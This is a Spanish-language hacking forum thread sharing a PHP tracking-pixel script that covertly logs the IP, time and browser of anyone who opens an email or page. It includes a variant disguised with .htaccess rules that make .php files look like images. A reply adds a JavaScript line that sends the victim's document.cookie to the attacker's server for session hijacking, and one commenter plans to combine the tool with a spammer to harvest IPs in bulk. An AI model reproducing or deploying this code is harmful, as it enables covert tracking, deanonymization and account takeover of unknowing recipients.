Obtener IP de un correo.

  • 19 Respuestas
  • 10179 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Obtener IP de un correo.

  • en: Septiembre 25, 2017, 11:27:18 pm
Como en muchos casos la gente pregunta como conseguir la IP de un correo creo que es el momento de enseñar una técnica que podrán usar, efectiva y que no es sospechosa.

Lo que vamos a hacer es un IpLogger en PHP, solo que en esta ocasión en lugar de esperar que hagan click, haremos que devuelva una imagen, de esta forma la podremos cargar en el correo y obtener la IP sin necesidad de que el usuario haga click en ningún link. Este sería el código que vamos a usar:

Código: PHP
  1. <?php
  2.  
  3. // IpLogger
  4.  
  5. $datos = "Fecha: " . date('Y-m-d H:i:s') . " - IP: $_SERVER[REMOTE_ADDR] - UserAgent: $_SERVER[HTTP_USER_AGENT] ";
  6. $archivo = fopen("datos.txt", "a");
  7. $fw = fwrite($archivo, "$datos\n");
  8. fclose($archivo);
  9.  
  10. // Devuelve imagen
  11.  
  12. $imagen = file_get_contents('https://url.es/imagen.jpg');  // Aquí pondrán la imagen que quieran que aparezca.
  13.  
  14. header('Content-type: image/jpeg;');
  15. header("Content-Length: " . strlen($imagen));
  16. echo $imagen;
  17.  
  18. ?>
  19.  

Para hacer que nos envíe la IP tan solo habría que usar la etiqueta <img src="www.dominio.es/codigo.php"> en el correo. En caso de usar Gmail la imagen también se puede cargar desde url.

(En cualquier WEB que pongan la etiqueta y entre alguien también mandará su IP).

Esto funciona como un CSRF, pueden leer aquí un tutorial.

Cuando el navegador lee la etiqueta <img src=""> este manda una petición GET para analizar cual es la imagen que devuelve esa url, al ser un código PHP este se ejecuta y después devuelve la imagen que es la que se va a mostrar en nuestro navegador.
 


Veamos como quedaría el mail recibido.



Y así quedarían los logs dentro de nuestro dominio.



En mi caso también me devuelve IPs de Google ya que envié el correo por Gmail y usé la opción de obtener imagen por URL.

Espero que les sea de utilidad.

También me pueden seguir en Twitter si les hace ilusión: @RoloMijan

Saludos.
« Última modificación: Abril 01, 2018, 10:20:10 am por rollth »

Desconectado Zyvyxk

  • *
  • Underc0der
  • Mensajes: 13
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 07:42:29 am
Alta tecnica, gracias viejo!

Conectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 206
  • Actividad:
    26.67%
  • Reputación 8
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 09:43:06 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.


Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro para que se aproveche toda la comunidad.

42

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 10:04:37 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

Conectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 206
  • Actividad:
    26.67%
  • Reputación 8
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 10:45:57 am
¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?


Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro para que se aproveche toda la comunidad.

42

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 11:07:33 am
¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?

Así es, pero no veo como se va a hacer así un robo de cookies.

Conectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 206
  • Actividad:
    26.67%
  • Reputación 8
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 11:31:34 am
¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.


Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro para que se aproveche toda la comunidad.

42

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 12:17:48 pm
¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.

Obviamente el javascript en gmail y hotmail está filtrado. ¿Qué gestor de correos usas?
Puede  que dependiendo de como este configurado el email envíe este tipo de contenido a spam, pero aún así no elimina el contenido. (gmail con su configuración por defecto no envía a spam y hotmail depende del remitente, en ambos casos he conseguido que no se envíe a spam)

Saludos

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Obtener IP de un correo.

  • en: Septiembre 26, 2017, 01:47:17 pm
Es una buena opcion, pero lo confundi con obtener las direccion IP de un correo recibido (algo que aportan las cabeceras),


Saludos!  ;D

Desconectado The Yisus

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • Skype: TheYisus
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Noviembre 11, 2017, 09:13:51 pm
Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?

Desconectado DUDA

  • *
  • Underc0der
  • Mensajes: 334
  • Actividad:
    0%
  • Reputación 1
  • Hago pocas cosas, pero las hago bien.
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Noviembre 14, 2017, 12:55:06 pm
Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?

Está ejecutando código php en algún hosting y convocandolo desde una etiqueta html.

Gracias por leer,
DUDA

Desconectado F4T4L 3RR0R

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Noviembre 20, 2017, 03:38:53 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:Obtener IP de un correo.

  • en: Noviembre 20, 2017, 06:50:27 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.

Los emails se basan en etiquetas HTML, cuando tu intentas enviar una XSS se filtra esa etiqueta, estan los filtros específicos, sin embargo como entenderás la etiqueta <img> no está filtrada, el obtener la IP es como si fuera un SCRF más que una XSS, pruebalo a ver si entiendes mejor el concepto, pero ya te digo que es funcional y que no tiene nada que ver con una XSS.

Cualquier duda más o fallo que tengas en caso de que lo repliques no dudes en preguntar.

Saludos.

Desconectado TGPRul€$$

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 1
  • Cuando me aburro hago cosas.
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Enero 11, 2018, 01:49:07 pm
Bueno, bueno. A quien tenemos aquí jajaja. Buen IPLogger sin duda alguna.

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email

Re:Obtener IP de un correo.

  • en: Enero 12, 2018, 12:31:55 pm
Muy buen aporte amigo, con mi spammer y este truquito puedo obtener ips masivamente, gracias

Desconectado boquiqui

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Enero 14, 2018, 01:17:30 pm
Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:Obtener IP de un correo.

  • en: Enero 14, 2018, 02:52:24 pm
Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.

Ese código obtiene bastante información, puedes fijarte en la imagen.
IP, fecha, hora, OS + versión, navegador + versión.

Saludos.

Desconectado boquiqui

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Enero 15, 2018, 05:56:42 am
Si, ya he visto.

Cuanta más información recopila, más se puede identificar un dispositivo entre otros tantos.

Imagina que queremos identificar un dispositivo, pero que este tiene varias cuentas de usuario. Con el mismo sistema operativo, y misma versión de navegador. Recopilando la información de los plugins instalados, configuración del navegador, fuentes instaladas, resolución del monitor, podemos obtener un perfil más acertado de queusuario hizo click.

Desconectado boquiqui

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Obtener IP de un correo.

  • en: Enero 15, 2018, 05:26:12 pm
He probado en gmail, y no acepta la url como imagen.

Desconectado Nobody

  • *
  • Underc0der
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 4
  • Security as art.
  • Twitter: @n0bodysec
    • Ver Perfil
    • Nobody Test Laboratory

Re:Obtener IP de un correo.

  • en: Enero 25, 2018, 02:53:57 pm
¡Hola!

Gran aporte, Rolo. Se me ocurrió que se podría mejorar un poquito, la técnica como el código.

Modifiqué el código para funcionar con cualquier tipo de archivo (por el mimetype). La función getMimeType la hice para la compatibilidad entre versiones de PHP.

Código: PHP
  1. <?php
  2. // write data
  3. $info = sprintf("Date: %s\nIP: %s\nUser Agent: %s\n", date('Y-m-d H:i:s'), $_SERVER['REMOTE_ADDR'], $_SERVER['HTTP_USER_AGENT']);
  4. $file = fopen("data.txt", "a");
  5. fwrite($file, $info);
  6. fclose($file);
  7.  
  8. // fake img
  9. $fname = basename('image.png');
  10. $img = file_get_contents($fname);
  11. header('Content-type: ' . getMimeType($fname));
  12. header('Content-Length: ' . strlen($img));
  13. echo $img;
  14.  
  15. // functions
  16. function getMimeType($filename)
  17. {
  18.         if (/*extension_loaded("fileinfo")*/ function_exists('finfo_file'))
  19.                 return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filename);
  20.         else if (function_exists('mime_content_type'))
  21.                 return mime_content_type($filename);
  22.         else
  23.         {
  24.                 // only images
  25.                 $idx = strtolower(substr(strrchr($filename, "."), 1));
  26.                 $mime = array(
  27.                         'gif' => 'image/gif',
  28.                         'ico' => 'image/x-icon',
  29.                         'jpeg' => 'image/jpeg',
  30.                         'jpg' => 'image/jpeg',
  31.                         'png' => 'image/png'
  32.                 );
  33.                
  34.                 if (isset($mime[$idx]))
  35.                         return $mime[$idx];
  36.                 else return 'application/octet-stream';
  37.         }
  38. }
  39. ?>

Y para esconder un poquito más la extensión .php en el tag img, se puede usar un .htaccess.

Código: Text
  1. # Prevent viewing of htaccess and htpasswd files.
  2. <Files .htaccess>
  3.     order allow,deny
  4.     deny from all
  5. </Files>
  6.  
  7. # Prevent directory listings.
  8. Options All -Indexes
  9.  
  10. # Hide .php in image.
  11. Options +FollowSymlinks
  12. RewriteEngine on
  13. RewriteRule ^(.*)\.jpg$ $1.php [nc]
  14. RewriteRule ^(.*)\.jpeg$ $1.php [nc]
  15. RewriteRule ^(.*)\.tiff$ $1.php [nc]
  16. RewriteRule ^(.*)\.gif$ $1.php [nc]
  17. RewriteRule ^(.*)\.bmp$ $1.php [nc]
  18. RewriteRule ^(.*)\.png$ $1.php [nc]

Con este ejemplo, se podría usar una extensión de imagen falsa, apuntando al PHP.
Código: HTML5
  1. <img src="https://www.hack.er/image.png />

Saludos.
P.D.: Volví (?  ;D ;D

 

Herramienta OSINT para buscar contraseñas para direcciones de correo electrónico

Iniciado por Gold Master

Respuestas: 0
Vistas: 3067
Último mensaje Abril 16, 2019, 09:09:34 pm
por Gold Master
Obtener contraseña (admin) de windows con metasploit usando el módulo phish_windows_credentials

Iniciado por LionSec

Respuestas: 8
Vistas: 5675
Último mensaje Mayo 25, 2015, 02:49:25 pm
por MagoAstral
Obtener GUI tras explotar Windows XP con Metasploit y meterpreter

Iniciado por Jimeno

Respuestas: 4
Vistas: 5229
Último mensaje Febrero 16, 2013, 05:41:53 pm
por ANTRAX
Obtener los keypress de RDP tras un MITM con CAIN & ABEL

Iniciado por Snifer

Respuestas: 6
Vistas: 5698
Último mensaje Octubre 12, 2014, 06:32:36 pm
por Cl0udswX
Obtener credenciales HTTPS con Bettercap y SSLstrip

Iniciado por ANTRAX

Respuestas: 28
Vistas: 20809
Último mensaje Septiembre 20, 2017, 11:08:52 pm
por b4r7